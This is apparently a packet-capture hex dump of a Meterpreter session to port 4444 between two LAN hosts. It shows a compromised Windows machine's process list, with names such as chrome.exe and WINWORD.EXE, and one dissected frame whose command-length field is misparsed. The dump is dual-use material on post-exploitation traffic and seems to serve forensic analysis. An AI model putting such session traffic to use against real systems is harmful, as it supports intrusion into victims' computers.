0e40  1a 1c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0e50  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0e60  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 54 61   uario.........Ta
0e70  62 54 69 70 33 32 2e 65 78 65 00 00 00 00 15 00   bTip32.exe......
0e80  01 08 fe 54 61 62 54 69 70 33 32 2e 65 78 65 00   ...TabTip32.exe.
0e90  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
0ea0  00 00 10 50 00 00 00 24 00 01 04 12 73 66 63 70   ...P...$....sfcp
0eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0ec0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
0ed0  4d 53 41 53 43 75 69 4c 2e 65 78 65 00 00 00 00   MSASCuiL.exe....
0ee0  15 00 01 08 fe 4d 53 41 53 43 75 69 4c 2e 65 78   .....MSASCuiL.ex
0ef0  65 00 00 00 00 62 40 00 08 ff 00 00 00 0c 00 02   e....b@.........
0f00  08 fc 00 00 19 c8 00 00 00 24 00 01 04 12 73 66   .........$....sf
0f10  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0f20  69 2d 75 73 75 61 72 69 6f 00 00 00 00 15 00 01   i-usuario.......
0f30  08 fd 4f 6e 65 44 72 69 76 65 2e 65 78 65 00 00   ..OneDrive.exe..
0f40  00 00 15 00 01 08 fe 4f 6e 65 44 72 69 76 65 2e   .......OneDrive.
0f50  65 78 65 00 00 00 00 70 40 00 08 ff 00 00 00 0c   exe....p@.......
0f60  00 02 08 fc 00 00 0d e0 00 00 00 24 00 01 04 12   ...........$....
0f70  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0f80  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 1c   emi-usuario.....
0f90  00 01 08 fd 67 6f 6f 67 6c 65 64 72 69 76 65 73   ....googledrives
0fa0  79 6e 63 2e 65 78 65 00 00 00 00 1c 00 01 08 fe   ync.exe.........
0fb0  67 6f 6f 67 6c 65 64 72 69 76 65 73 79 6e 63 2e   googledrivesync.
0fc0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
0fd0  00 02 08 fc 00 00 12 64 00 00 00 24 00 01 04 12   .......d...$....
0fe0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0ff0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1000  00 01 08 fd 76 73 70 64 66 70 72 73 72 76 2e 65   ....vspdfprsrv.e
1010  78 65 00 00 00 00 17 00 01 08 fe 76 73 70 64 66   xe.........vspdf
1020  70 72 73 72 76 2e 65 78 65 00 00 00 00 70 40 00   prsrv.exe....p@.
1030  08 ff 00 00 00 0c 00 02 08 fc 00 00 14 60 00 00   .............`..
1040  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1050  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1060  6f 00 00 00 00 1c 00 01 08 fd 67 6f 6f 67 6c 65   o.........google
1070  64 72 69 76 65 73 79 6e 63 2e 65 78 65 00 00 00   drivesync.exe...
1080  00 1c 00 01 08 fe 67 6f 6f 67 6c 65 64 72 69 76   ......googledriv
1090  65 73 79 6e 63 2e 65 78 65 00 00 00 00 50 40 00   esync.exe....P@.
10a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 17 80 00 00   ................
10b0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 18 00 01   ......N/A.......
10c0  08 fd 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78   ..fontdrvhost.ex
10d0  65 00 00 00 00 18 00 01 08 fe 66 6f 6e 74 64 72   e.........fontdr
10e0  76 68 6f 73 74 2e 65 78 65 00 00 00 00 68 40 00   vhost.exe....h@.
10f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 16 78 00 00   .............x..
1100  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1110  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1120  6f 00 00 00 00 18 00 01 08 fd 4c 6f 63 6b 41 70   o.........LockAp
1130  70 48 6f 73 74 2e 65 78 65 00 00 00 00 18 00 01   pHost.exe.......
1140  08 fe 4c 6f 63 6b 41 70 70 48 6f 73 74 2e 65 78   ..LockAppHost.ex
1150  65 00 00 00 00 7a 40 00 08 ff 00 00 00 0c 00 02   e....z@.........
1160  08 fc 00 00 0e cc 00 00 00 24 00 01 04 12 73 66   .........$....sf
1170  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1180  69 2d 75 73 75 61 72 69 6f 00 00 00 00 21 00 01   i-usuario....!..
1190  08 fd 41 70 70 6c 69 63 61 74 69 6f 6e 46 72 61   ..ApplicationFra
11a0  6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 21 00   meHost.exe....!.
11b0  01 08 fe 41 70 70 6c 69 63 61 74 69 6f 6e 46 72   ...ApplicationFr
11c0  61 6d 65 48 6f 73 74 2e 65 78 65 00 00 00 00 5a   ameHost.exe....Z
```

```
11d0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 1d b4   @...............
11e0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1d   ........N/A.....
11f0  00 01 08 fd 4f 66 66 69 63 65 43 6c 69 63 6b 54   ....OfficeClickT
1200  6f 52 75 6e 2e 65 78 65 00 00 00 00 1d 00 01 08   oRun.exe........
1210  fe 4f 66 66 69 63 65 43 6c 69 63 6b 54 6f 52 75   .OfficeClickToRu
1220  6e 2e 65 78 65 00 00 00 00 6a 40 00 08 ff 00 00   n.exe....j@.....
1230  00 0c 00 02 08 fc 00 00 04 98 00 00 00 24 00 01   .............$..
1240  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1250  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1260  00 19 00 01 08 fd 41 70 70 56 53 68 4e 6f 74 69   ......AppVShNoti
1270  66 79 2e 65 78 65 00 00 00 00 19 00 01 08 fe 41   fy.exe.........A
1280  70 70 56 53 68 4e 6f 74 69 66 79 2e 65 78 65 00   ppVShNotify.exe.
1290  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
12a0  00 00 1a 60 00 00 00 24 00 01 04 12 73 66 63 70   ...`...$....sfcp
12b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
12c0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
12d0  4f 4e 45 4e 4f 54 45 4d 2e 45 58 45 00 00 00 00   ONENOTEM.EXE....
12e0  15 00 01 08 fe 4f 4e 45 4e 4f 54 45 4d 2e 45 58   .....ONENOTEM.EX
12f0  45 00 00 00 00 54 40 00 08 ff 00 00 00 0c 00 02   E....T@.........
1300  08 fc 00 00 1a 34 00 00 00 0c 00 01 04 12 4e 2f   .....4........N/
1310  41 00 00 00 00 1a 00 01 08 fd 53 65 61 72 63 68   A.........Search
1320  49 6e 64 65 78 65 72 2e 65 78 65 00 00 00 00 1a   Indexer.exe.....
1330  00 01 08 fe 53 65 61 72 63 68 49 6e 64 65 78 65   ....SearchIndexe
1340  72 2e 65 78 65 00 00 00 00 64 40 00 08 ff 00 00   r.exe....d@.....
1350  00 0c 00 02 08 fc 00 00 1c bc 00 00 00 24 00 01   .............$..
1360  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1370  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1380  00 16 00 01 08 fd 53 6b 79 70 65 48 6f 73 74 2e   ......SkypeHost.
1390  65 78 65 00 00 00 00 16 00 01 08 fe 53 6b 79 70   exe.........Skyp
13a0  65 48 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   eHost.exe....J@.
13b0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 60 00 00   .............`..
13c0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
13d0  08 fd 4d 70 43 6d 64 52 75 6e 2e 65 78 65 00 00   ..MpCmdRun.exe..
13e0  00 00 15 00 01 08 fe 4d 70 43 6d 64 52 75 6e 2e   .......MpCmdRun.
13f0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
1400  00 02 08 fc 00 00 0f 04 00 00 00 24 00 01 04 12   ...........$....
1410  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1420  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1430  00 01 08 fd 56 69 72 74 75 61 6c 42 6f 78 2e 65   ....VirtualBox.e
1440  78 65 00 00 00 00 17 00 01 08 fe 56 69 72 74 75   xe.........Virtu
1450  61 6c 42 6f 78 2e 65 78 65 00 00 00 00 60 40 00   alBox.exe....`@.
1460  08 ff 00 00 00 0c 00 02 08 fc 00 00 12 40 00 00   .............@..
1470  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1480  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1490  6f 00 00 00 00 14 00 01 08 fd 56 42 6f 78 53 56   o.........VBoxSV
14a0  43 2e 65 78 65 00 00 00 00 14 00 01 08 fe 56 42   C.exe.........VB
14b0  6f 78 53 56 43 2e 65 78 65 00 00 00 00 60 40 00   oxSVC.exe....`@.
14c0  08 ff 00 00 00 0c 00 02 08 fc 00 00 1b 94 00 00   ................
14d0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
14e0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
14f0  6f 00 00 00 00 14 00 01 08 fd 57 49 4e 57 4f 52   o.........WINWOR
1500  44 2e 45 58 45 00 00 00 00 14 00 01 08 fe 57 49   D.EXE.........WI
1510  4e 57 4f 52 44 2e 45 58 45 00 00 00 00 5e 40 00   NWORD.EXE....^@.
1520  08 ff 00 00 00 0c 00 02 08 fc 00 00 1d c0 00 00   ................
1530  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1540  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1550  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1560  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1570  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1580  00 00 00 0c 00 02 08 fc 00 00 10 5c 00 00 00 24   ...........\...$
1590  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
15a0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
15b0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
15c0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
15d0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
15e0  00 0c 00 02 08 fc 00 00 1e 08 00 00 00 24 00 01   .............$..
15f0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1600  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1610  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1620  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1630  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1640  00 02 08 fc 00 00 1d 50 00 00 00 24 00 01 04 12   .......P...$....
1650  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1660  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1670  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1680  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1690  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
16a0  08 fc 00 00 16 5c 00 00 00 24 00 01 04 12 73 66   .....\...$....sf
16b0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
16c0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
16d0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
16e0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
16f0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1700  00 00 1c 2c 00 00 00 24 00 01 04 12 73 66 63 70   ...,...$....sfcp
1710  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
```

```
1720  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1730  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1740  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1750  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1760  0d a8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1770  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1780  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1790  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
17a0  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
17b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 14 dc   @...............
17c0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
17d0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
17e0  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
17f0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1800  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1810  08 ff 00 00 00 0c 00 02 08 fc 00 00 11 44 00 00   .............D..
1820  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1830  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1840  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1850  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1860  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1870  00 00 00 0c 00 02 08 fc 00 00 10 20 00 00 00 24   ........... ...$
1880  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1890  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
18a0  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
18b0  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
18c0  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
18d0  00 0c 00 02 08 fc 00 00 0e 4c 00 00 00 24 00 01   .........L...$..
18e0  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
18f0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1900  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1910  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1920  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1930  00 02 08 fc 00 00 0e 54 00 00 00 24 00 01 04 12   .......T...$....
1940  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1950  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1960  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1970  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1980  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1990  08 fc 00 00 19 f8 00 00 00 24 00 01 04 12 73 66   .........$....sf
19a0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
19b0  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
19c0  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
19d0  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
19e0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
19f0  00 00 19 10 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1a00  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1a10  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1a20  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1a30  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1a40  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1a50  03 d4 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1a60  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1a70  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1a80  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1a90  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 48   .chrome.exe....H
1aa0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 17 bc   @...............
1ab0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
1ac0  00 01 08 fd 61 75 64 69 6f 64 67 2e 65 78 65 00   ....audiodg.exe.
1ad0  00 00 00 14 00 01 08 fe 61 75 64 69 6f 64 67 2e   ........audiodg.
1ae0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1af0  00 02 08 fc 00 00 1c 8c 00 00 00 24 00 01 04 12   ...........$....
1b00  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1b10  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1b20  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1b30  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1b40  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1b50  08 fc 00 00 1a 40 00 00 00 24 00 01 04 12 73 66   .....@...$....sf
1b60  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1b70  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1b80  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1b90  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1ba0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1bb0  00 00 0b 3c 00 00 00 24 00 01 04 12 73 66 63 70   ...<...$....sfcp
1bc0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1bd0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1be0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1bf0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1c00  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1c10  1a d0 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1c20  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1c30  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1c40  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1c50  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1c60  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 54   @..............T
```

```
1c70  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1c80  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1c90  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1ca0  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1cb0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1cc0  08 ff 00 00 00 0c 00 02 08 fc 00 00 0c 40 00 00   .............@..
1cd0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1ce0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1cf0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1d00  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
1d10  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
1d20  00 00 00 0c 00 02 08 fc 00 00 0b 90 00 00 00 24   ...............$
1d30  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
1d40  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
1d50  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
1d60  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
1d70  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
1d80  00 0c 00 02 08 fc 00 00 06 80 00 00 00 24 00 01   .............$..
1d90  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
1da0  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
1db0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
1dc0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
1dd0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
1de0  00 02 08 fc 00 00 10 30 00 00 00 24 00 01 04 12   .......0...$....
1df0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
1e00  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
1e10  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
1e20  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
1e30  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
1e40  08 fc 00 00 06 b0 00 00 00 24 00 01 04 12 73 66   .........$....sf
1e50  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
1e60  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
1e70  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
1e80  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
1e90  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
1ea0  00 00 14 c8 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
1eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
1ec0  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
1ed0  63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00   chrome.exe......
1ee0  01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00   ...chrome.exe...
1ef0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
1f00  1d b8 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
1f10  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
1f20  75 61 72 69 6f 00 00 00 00 13 00 01 08 fd 63 68   uario.........ch
1f30  72 6f 6d 65 2e 65 78 65 00 00 00 00 13 00 01 08   rome.exe........
1f40  fe 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e   .chrome.exe....^
1f50  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 10 14   @...............
1f60  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
1f70  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
1f80  72 69 6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f   rio.........chro
1f90  6d 65 2e 65 78 65 00 00 00 00 13 00 01 08 fe 63   me.exe.........c
1fa0  68 72 6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00   hrome.exe....^@.
1fb0  08 ff 00 00 00 0c 00 02 08 fc 00 00 18 ec 00 00   ................
1fc0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1fd0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1fe0  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
1ff0  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
2000  6f 6d 65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff   ome.exe....^@...
2010  00 00 00 0c 00 02 08 fc 00 00 1c 40 00 00 00 24   ...........@...$
2020  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
2030  69 5c 63 68 65 6d                                 i\chem
```

```
    169 3265.607550    192.168.1.41          192.168.1.42          MTRPROT  3592   50768 → 4444 [PSH, ACK] Seq=18865 Ack=8828
Win=2048 Len=3538
Frame 169: 3592 bytes on wire (28736 bits), 3592 bytes captured (28736 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 18865, Ack: 8828, Len: 3538
Meterpreter protocol, Command details here or in the tree below
    Command: 0x692d7573 [Command length]: 1764586867
    Type: 0x75617269 [Command type: Response]: 75617269
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  0d fa 0d 96 40 00 80 06 5b c4 c0 a8 01 29 c0 a8   ....@...[....)..
0020  01 2a c6 50 11 5c a3 78 e7 07 2e 7d 34 ef 50 18   .*.P.\.x...}4.P.
0030  08 00 91 90 00 00 69 2d 75 73 75 61 72 69 6f 00   ......i-usuario.
0040  00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65   ........chrome.e
0050  78 65 00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d   xe.........chrom
0060  65 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   e.exe....^@.....
0070  00 0c 00 02 08 fc 00 00 0c 50 00 00 00 24 00 01   .........P...$..
0080  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
00a0  00 13 00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65   ......chrome.exe
00b0  00 00 00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e   .........chrome.
00c0  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
00d0  00 02 08 fc 00 00 1f c0 00 00 00 24 00 01 04 12   ...........$....
00e0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
